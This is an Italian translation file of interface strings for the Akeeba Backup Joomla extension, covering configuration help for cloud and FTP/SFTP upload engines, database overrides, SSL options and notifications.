COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_TITLE="URL del contenitore"
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_DESCRIPTION="La directory all'interno del contenitore di object storage OVH in cui archiviare gli archivi di backup. Per archiviare tutto nella radice del contenitore, lasciare vuoto."
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_DESCRIPTION="QUESTA NON È LA PASSWORD DI ACCESSO OVH! Creare un utente dal cloud manager OVH, Server, espandere il server, fare clic su OpenStack, fare clic su Aggiungi utente. Copiare la Password dell'utente creato qui."
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_TITLE="Password OpenStack"
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_DESCRIPTION="L'ID del progetto del server cloud OVH. Nel cloud manager di OVH espandere il Server e fare clic sul collegamento Storage. Nell'area principale della pagina si vede il nome del server e subito sotto c'è una stringa alfanumerica di 32 caratteri come a0b1c2d3e4f56789abcdef0123456789. Questo è l'ID del progetto da inserire qui."
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_TITLE="ID progetto"
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_DESCRIPTION="QUESTO NON È IL NOME UTENTE DI ACCESSO OVH! Creare un utente dal cloud manager OVH, Server, espandere il server, fare clic su OpenStack, fare clic su Aggiungi utente. Copiare l'ID dell'utente creato qui."
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_TITLE="Nome utente OpenStack"
COM_AKEEBABACKUP_CONFIG_PARTSIZE_DESCRIPTION="Akeeba Backup può creare archivi divisi (multi-parte) per aggirare le restrizioni di dimensione in varie circostanze. Questa opzione definisce la dimensione massima di ogni parte dell'archivio. Se si riduce a 0, la funzione multi-parte è disabilitata.</br><strong>Importante:</strong>Se si utilizza un motore di elaborazione dati che trasferisce gli archivi in una posizione remota (ad es. archiviazione cloud), utilizzare un'impostazione di circa 1-5 MB per risultati ottimali."
COM_AKEEBABACKUP_CONFIG_PARTSIZE_TITLE="Dimensione delle parti per archivi divisi"
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_DESCRIPTION="<strong>ATTENZIONE! L'AUTENTICAZIONE NON FUNZIONA A CAUSA DI PROBLEMI SUL SERVER API DI pCloud. QUESTO MOTORE DI POST-ELABORAZIONE VERRÀ RIMOSSO IN UNA VERSIONE FUTURA DI AKEEBA BACKUP.</strong>. Compilato automaticamente quando si completa il Passaggio 1 dell'autenticazione indicato sopra. Se si sta collegando un altro sito allo stesso account pCloud, copiare il token di accesso dal sito già configurato invece di tentare di eseguire nuovamente il passaggio 1 dell'autenticazione."
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_TITLE="Token di accesso"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_DESCRIPTION="Il nome della directory su pCloud in cui verrà archiviato l'archivio di backup. <strong>La directory DEVE già esistere, altrimenti il caricamento fallirà.</strong>"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0600="0600 – Sicurezza elevata. Potrebbe causare problemi su server di fascia bassa"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0644="0644 – Sicurezza media, per l'uso su server a sito singolo"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0666="0666 – Sicurezza ridotta, massima compatibilità con gli host commerciali"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_DESCRIPTION="Imposta i permessi sui file per i file dell'archivio di backup. Si applica solo su Linux, macOS, BSD e altri host in stile UNIX (NON Windows). In caso di dubbio lasciare 0666. La modifica potrebbe rendere impossibile scaricare e/o eliminare i file dell'archivio di backup tramite FTP e SFTP. Se il server utilizza PHP-FPM o in altro modo esegue PHP con lo stesso utente dell'account di sistema del sito, usare 0600 per la massima sicurezza."
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_TITLE="Permessi dell'archivio"
COM_AKEEBABACKUP_CONFIG_PLATFORM="Sostituzioni del sito"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION="Il nome del database di cui eseguire il backup. Utilizzato solo quando la casella di sostituzione del database del sito è spuntata."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE="Nome del database"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION="Selezionare il driver del database da utilizzare per la connessione al database del sito. Utilizzato solo quando la casella di sostituzione del database del sito è spuntata."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE="Driver del database"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION="Il nome host o l'indirizzo IP del server database. Di solito localhost o 127.0.0.1. Utilizzato solo quando la casella di sostituzione del database del sito è spuntata."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE="Nome host del server database"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION="La password per connettersi al database del sito. Utilizzata solo quando la casella di sostituzione del database del sito è spuntata."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION="(facoltativo) La porta su cui il server database è in ascolto. In caso di dubbio, lasciare vuota questa opzione per utilizzare la porta predefinita (3306 per i server MySQL). Utilizzata solo quando la casella di sostituzione del database del sito è spuntata."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE="Porta del server database"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION="Il prefisso del database di cui eseguire il backup incluso il trattino basso, ad es. <code>ex4m_</code>. Utilizzato solo quando la casella di sostituzione del database del sito è spuntata."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE="Prefisso"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE="Connetti con un certificato SSL"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION="Ci si deve connettere al database utilizzando un certificato SSL? Può essere usato al posto dell'autenticazione con nome utente e password (connessione cifrata con autenticazione tramite certificato) oppure <em>in aggiunta</em> all'autenticazione con nome utente e password (connessione cifrata con autenticazione tramite password). Se non si sa cosa significa, impostare questa opzione su No e ignorare anche le prossime opzioni."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE="Metodi di cifratura SSL/TLS"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION="Inserire un elenco di metodi di cifratura per la connessione con certificati SSL, separati da due punti. Se lasciato vuoto verrà utilizzato l'elenco predefinito (<code>AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-CBC-SHA256:AES256-CBC-SHA384:DES-CBC3-SHA</code>) (consigliato)."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE="File dell'Autorità di Certificazione (CA)"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION="Percorso assoluto del file PEM del certificato dell'Autorità di Certificazione (CA) del server database, ad es. <code>/home/myuser/ca.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE="File della chiave privata dell'utente del database"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION="Percorso assoluto del file PEM della chiave privata dell'utente del database, ad es. <code>/home/myuser/myuser-key.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE="File della chiave pubblica (Certificato) dell'utente del database"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION="Percorso assoluto del file PEM della chiave pubblica (certificato) dell'utente del database, ad es. <code>/home/myuser/myuser.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE="Verifica il certificato del server"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION="Impostare su Sì per verificare il certificato che il server ci restituisce. Questo viene verificato rispetto al file dell'Autorità di Certificazione (CA) specificato. Se si verificano errori di connessione impostare su No; alcune configurazioni (in particolare quelle generate da <code>mysql_ssl_rsa_setup</code>) potrebbero non consentire la connessione se la verifica del certificato è abilitata. Se si abilita la verifica e il campo del file CA viene lasciato vuoto, il certificato del server verrà verificato rispetto ai file dell'Autorità di Certificazione noti al server, vedere le opzioni PHP <code>openssl.cafile</code> e <code>openssl.capath</code>."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION="Il nome utente per connettersi al database del sito. Utilizzato solo quando la casella di sostituzione del database del sito è spuntata."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION="Quando si è abilitata l'opzione Sostituzione radice del sito sopra, Akeeba Backup eseguirà il backup di tutti i file e le directory sotto la radice di questo sito"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE="Forza radice del sito"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION="Quando è deselezionata (impostazione predefinita), Akeeba Backup eseguirà automaticamente il backup del database a cui si connette il sito in cui è installato (il database Joomla!). Quando è selezionata, eseguirà il backup di un database diverso, utilizzando i dettagli di connessione forniti di seguito."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE="Sostituzione database del sito"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION="Quando è deselezionata (impostazione predefinita), Akeeba Backup eseguirà il backup di tutti i file e le directory sotto la radice del sito in cui è installato. Quando abilitata, eseguirà il backup dei file e delle directory sotto la directory selezionata in Forza radice del sito di seguito."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE="Sostituzione radice del sito"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="Se abilitato, Akeeba Backup tenterà di connettersi al server FTP utilizzando una connessione cifrata SSL. <strong>Questo non è lo stesso di SFTP, SCP o \"FTP sicuro\"!</strong> Si noti che se il server non supporta questo metodo si riceveranno errori di connessione."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_TITLE="Usa FTP su SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_DESCRIPTION="Il nome host del server FTP, senza il protocollo. Ciò significa che <code>ftp://example.com</code> è <strong>non valido</strong> e <code>example.com</code> è valido. Questo motore supporta solo server FTP e FTPS. <u>Non</u> supporta SFTP, SCP e altre varianti SSH."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_TITLE="Nome host"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="Il percorso <strong>FTP</strong> assoluto alla directory in cui i file verranno caricati. In caso di dubbio, collegati al tuo Server con FileZilla, naviga fino alla directory desiderata e copia il percorso visualizzato nel riquadro di destra sopra l'elenco delle directory. Di solito è qualcosa di breve, come <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_TITLE="Directory iniziale"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION="Il percorso relativo alla directory iniziale; verrà creata se non esiste. Lascialo vuoto per caricare gli archivi direttamente nella directory iniziale. Puoi utilizzare le seguenti macro:<ul><li><strong>[HOST]</strong> Il nome host. ATTENZIONE! Questo tag non funziona in modalità CRON.</li><li><strong>[DATE]</strong> Data corrente</li><li><strong>[TIME]</strong> Ora corrente</li></ul>Sono disponibili altre macro; consulta la documentazione."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE="Sottodirectory"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Usa la modalità passiva FTP durante il trasferimento dei dati. È abilitata per impostazione predefinita poiché è l'unico metodo che funziona attraverso i firewall comunemente installati sui Server web. Non disattivarla a meno che tu non sia certo che il tuo Server web non sia protetto da firewall e che il tuo Server FTP richieda assolutamente trasferimenti in modalità attiva."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_TITLE="Usa la modalità passiva"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="Password del Server FTP. Di solito fa distinzione tra maiuscole e minuscole. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_DESCRIPTION="Porta del Server FTP. L'impostazione più comune è 21. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Usa questo pulsante per testare la connessione FTP e visualizzare gli errori di connessione in caso di errore."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_TITLE="Testa la connessione FTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_DESCRIPTION="Nome utente del Server FTP. Di solito fa distinzione tra maiuscole e minuscole. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_DESCRIPTION="Se abilitato, Akeeba Backup eseguirà il motore di post-elaborazione su ogni parte non appena è completata. Se disabilitato, Akeeba Backup eseguirà la post-elaborazione per tutte le parti al termine del processo di Backup."
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_TITLE="Elabora ogni parte immediatamente"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION="Nome host del Server SFTP, senza il protocollo. Ciò significa che <code>sftp://example.com</code> o <code>ssh://example.com</code> sono <strong>non validi</strong> e NON devono essere usati, mentre <code>example.com</code> è valido e DEVE essere usato. Questo motore supporta solo Server SFTP (SSH). <u>Non</u> supporta FTP, FTPS o qualsiasi altra variante FTP. Richiede che l'estensione PHP SSH2 sia installata e abilitata."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_TITLE="Nome host"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION="Il percorso <strong>SFTP</strong> assoluto (di solito uguale al percorso del filesystem) alla directory in cui i file verranno caricati. In caso di dubbio, collegati al tuo Server con FileZilla, naviga fino alla directory desiderata e copia il percorso visualizzato nel riquadro di destra sopra l'elenco delle directory. Di solito è qualcosa di lungo, come <code>/home/myuser/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_TITLE="Directory iniziale"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION="Password del Server SFTP. Di solito fa distinzione tra maiuscole e minuscole. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION="Porta del Server SFTP. L'impostazione più comune è 22. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION="LEGGI LA DOCUMENTAZIONE PRIMA DI USARE. Il percorso assoluto nel filesystem di un File di chiave privata RSA/DSA usato per connettersi al Server remoto. Se è cifrato, inserisci la passphrase nel campo Password sopra. Se non sai di cosa si tratta, o se pensi di dover chiedere assistenza al riguardo, lascialo vuoto e non chiedercene."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE="File chiave privata (avanzato)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION="LEGGI LA DOCUMENTAZIONE PRIMA DI USARE. Il percorso assoluto nel filesystem di un File di chiave pubblica RSA/DSA usato per connettersi al Server remoto. Se non sai di cosa si tratta, o se pensi di dover chiedere assistenza al riguardo, lascialo vuoto e non chiedercene."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_TITLE="File chiave pubblica (avanzato)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION="Usa questo pulsante per testare la connessione SFTP e visualizzare gli errori di connessione in caso di errore."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_TITLE="Testa la connessione SFTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_DESCRIPTION="Nome utente del Server SFTP. Di solito fa distinzione tra maiuscole e minuscole. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_DESCRIPTION="La directory nel tuo account iDriveSync in cui verranno archiviati gli archivi di Backup. Lascia vuoto o imposta su / per archiviare i File nella cartella radice del tuo account."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_DESCRIPTION="A partire dalla metà del 2016, i nuovi utenti devono usare il nuovo endpoint API"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_TITLE="Usa il nuovo endpoint"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_DESCRIPTION="La tua Password iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_DESCRIPTION="La tua chiave privata iDriveSync. Solo se stai già utilizzando una chiave privata nel tuo account iDriveSync."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_TITLE="Chiave privata (opzionale)"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_DESCRIPTION="Il nome utente o l'indirizzo e-mail usato per iscriverti a iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_TITLE="Nome utente o e-mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="L'indirizzo e-mail a cui verranno inviati i File di Backup"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_TITLE="Indirizzo e-mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="L'oggetto dell'e-mail (opzionale). Questa opzione è utile principalmente per distinguere i Backup provenienti da più Siti."
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_TITLE="Oggetto e-mail"
COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION="I motori di post-elaborazione consentono ad Akeeba Backup di trasferire le parti dell'archivio di Backup finalizzate ad altri Server e provider di archiviazione remota."
COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE="Motore di post-elaborazione"
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC="Vai su https://www.pushbullet.com/account e copia il Token di accesso da quella pagina nella casella di testo qui. Viene usato per inviare messaggi push al tuo account. Puoi incollare più Token separati da virgole. Nota: il Token di accesso è visibile a tutte le persone che hanno accesso a questa pagina di Configurazione."
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL="Token di accesso Pushbullet"
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC="Qui puoi configurare le notifiche push per gli eventi di Backup da inviare direttamente al tuo telefono, tablet, notebook o computer desktop. Devi prima scaricare l'applicazione gratuita di terze parti <a href='http://pushbullet.com/'>Pushbullet</a>."
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL="Notifiche push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC="Akeeba Backup dovrebbe inviarti notifiche e, in caso affermativo, come? Se selezioni Web Push, salva queste opzioni e torna alla pagina del Pannello di controllo. Vedrai una nuova area Notifica push sotto le icone rapide di Backup, dove puoi gestire le notifiche push per il tuo browser."
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL="Notifiche push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE="Disabilitato"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET="PushBullet"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH="Web Push (API del browser)"
COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC="Se selezionato, Akeeba Backup mostrerà un'icona di Backup con un solo clic in cima alla pagina del Pannello di controllo. Facendo clic su di essa si attiverà questo Profilo e verrà eseguito un Backup senza ulteriori azioni da parte tua."
COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL="Icona Backup con un clic"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE="Il Backup corrente partecipa alle quote di File remoti"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION="Se abilitato, il Backup in corso partecipa alle quote di File remoti. Ciò può essere problematico; se il Backup è caricato parzialmente nell'archiviazione remota e le impostazioni della quota sono tali da preservare solo il Backup più recente, potresti ritrovarti senza un Backup valido archiviato in remoto. Disabilitarlo riduce la probabilità di ritrovarsi senza un Backup valido nell'archiviazione remota, al costo di archiviare un archivio di Backup in più in remoto."
COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD="Quote File locali"
COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD="Quote File remoti"
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION="Questo definisce quanto Akeeba Backup sarà cauto nel tentare di evitare un timeout. Più basso è questo valore, più cauto sarà. Se si verificano errori di timeout, prova a ridurre sia il Tempo massimo di esecuzione che questa impostazione.<strong>Suggerimento</strong>: seleziona Personalizzato e digita il valore desiderato se non è nell'elenco."
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE="Bias del tempo di esecuzione"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_DESCRIPTION="La tua chiave di accesso Amazon S3, disponibile nella pagina del tuo profilo personale Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE="Chiave di accesso"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_DESCRIPTION="Il nome del tuo Bucket Amazon S3"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION="Per l'utilizzo con servizi di archiviazione di terze parti che implementano un'API compatibile con S3. Inserisci l'endpoint (URL dell'API) dell'API compatibile con S3 del servizio di archiviazione di terze parti. IMPORTANTE: se stai usando Amazon S3, <strong>DEVI LASCIARE QUESTO CAMPO VUOTO</strong>."
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_TITLE="Endpoint personalizzato"
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_DESCRIPTION="La directory all'interno del tuo Bucket in cui verranno archiviati gli archivi di Backup. Lascia vuoto per archiviare i File nella radice del Bucket."
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_S3_ACL_TITLE="Permessi File (ACL)"
COM_AKEEBABACKUP_CONFIG_S3_ACL_DESCRIPTION="Scegli i permessi del File caricato. Nella maggior parte dei casi, "Privato" o "Il proprietario del Bucket può leggere" sono le scelte più appropriate. Se utilizzi un servizio di terze parti compatibile con S3, potresti voler usare "Privato" invece dell'impostazione predefinita."
COM_AKEEBABACKUP_CONFIG_S3_ACL_PRIVATE="Privato"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ="Chiunque può leggere"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ_WRITE="Chiunque può leggere e scrivere"
COM_AKEEBABACKUP_CONFIG_S3_ACL_AUTHENTICATED_READ="Gli utenti IAM autenticati possono leggere"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_READ="Il proprietario del Bucket può leggere"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL="Il proprietario del Bucket ha il controllo completo"
COM_AKEEBABACKUP_CONFIG_S3LEGACY_DESCRIPTION="Se abilitato, tutti i caricamenti su Amazon S3 verranno forzati a essere in singola parte. Usalo se ricevi errori RequestTimeout dal motore S3 durante il caricamento delle parti di Backup."
COM_AKEEBABACKUP_CONFIG_S3LEGACY_TITLE="Disabilita i caricamenti multiparte"
COM_AKEEBABACKUP_CONFIG_S3RRS_DESCRIPTION="Seleziona la classe di archiviazione per i tuoi dati. Standard è l'archiviazione normale per i dati business critical. Consulta la documentazione di Amazon S3 per la descrizione di ciascuna classe di archiviazione."
COM_AKEEBABACKUP_CONFIG_S3RRS_TITLE="Classe di archiviazione"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_DESCRIPTION="La tua chiave segreta Amazon S3, disponibile nella pagina del tuo profilo personale Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE="Chiave segreta"
COM_AKEEBABACKUP_CONFIG_S3USESSL_DESCRIPTION="Se abilitato, verrà utilizzata una connessione sicura (HTTPS) durante il caricamento dei File. Sebbene aumenti la sicurezza dei dati trasferiti, aumenta anche la possibilità di errori di Backup dovuti a timeout."
COM_AKEEBABACKUP_CONFIG_S3USESSL_TITLE="Usa SSL"
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_DESCRIPTION="Usare gli endpoint dual-stack per Amazon S3? Questo consente di accedere a S3 tramite IPv6 per i server che supportano IPv6. I server privi di supporto IPv6 potranno comunque accedere a S3 tramite IPv4. Non ha effetto se si utilizza un endpoint personalizzato."
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_TITLE="Abilita supporto IPv6 (dual-stack)"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE="Formato data alternativo"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION="Disabilitare questa impostazione solo se il supporto lo richiede."
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_TITLE="Usa l'intestazione HTTP Date invece di X-Amz-Date"
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION="Abilitare questa impostazione solo se il supporto lo richiede."
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE="Includi il nome del Bucket negli URL pre-firmati v4"
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION="Abilitare questa impostazione solo se il supporto lo richiede."
COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME="Nuovo profilo di backup"
COM_AKEEBABACKUP_CONFIG_SAVE_OK="La configurazione è stata salvata"
COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION="Definisce il modo in cui Akeeba Backup esplorerà i file e le cartelle del sito per determinare quali devono essere inclusi nel backup."
COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE="Motore di scansione del filesystem"
COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC="Questa password verrà utilizzata con le funzionalità Backup front-end (API Legacy) e JSON API per proteggerle da accessi non autorizzati. Akeeba Backup NON abiliterà queste funzionalità a meno che non si utilizzi qui una password lunga e complessa. Consultare la documentazione per ulteriori informazioni."
COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL="Parola segreta"
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="Quando abilitata, le impostazioni di configurazione vengono cifrate utilizzando la cifratura AES-128 standard del settore."
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL="Usa cifratura"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL="Nessun flush()"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION="Disabilita l'uso di flush() durante le operazioni AJAX. Abilitare solo su server gravemente non funzionanti in cui il backup non si avvia nemmeno."
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL="Percorso PHP-CLI preciso"
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION="Abilitare per fare in modo che Akeeba Backup tenti di rilevare il percorso PHP-CLI preciso sul server. Disabilitare se il server non lo consente, bloccando l'indirizzo IP fuori dal sito per diversi minuti o ore quando ciò accade (ad esempio IONOS)."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX="NON si deve aggiungere il prefisso sftp:// al Nome host SFTP. Rimuovere il prefisso sftp:// e riprovare."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD="Akeeba Backup è riuscito a connettersi al server, ma non è riuscito a caricare un file di prova. Il caricamento del backup potrebbe non riuscire."
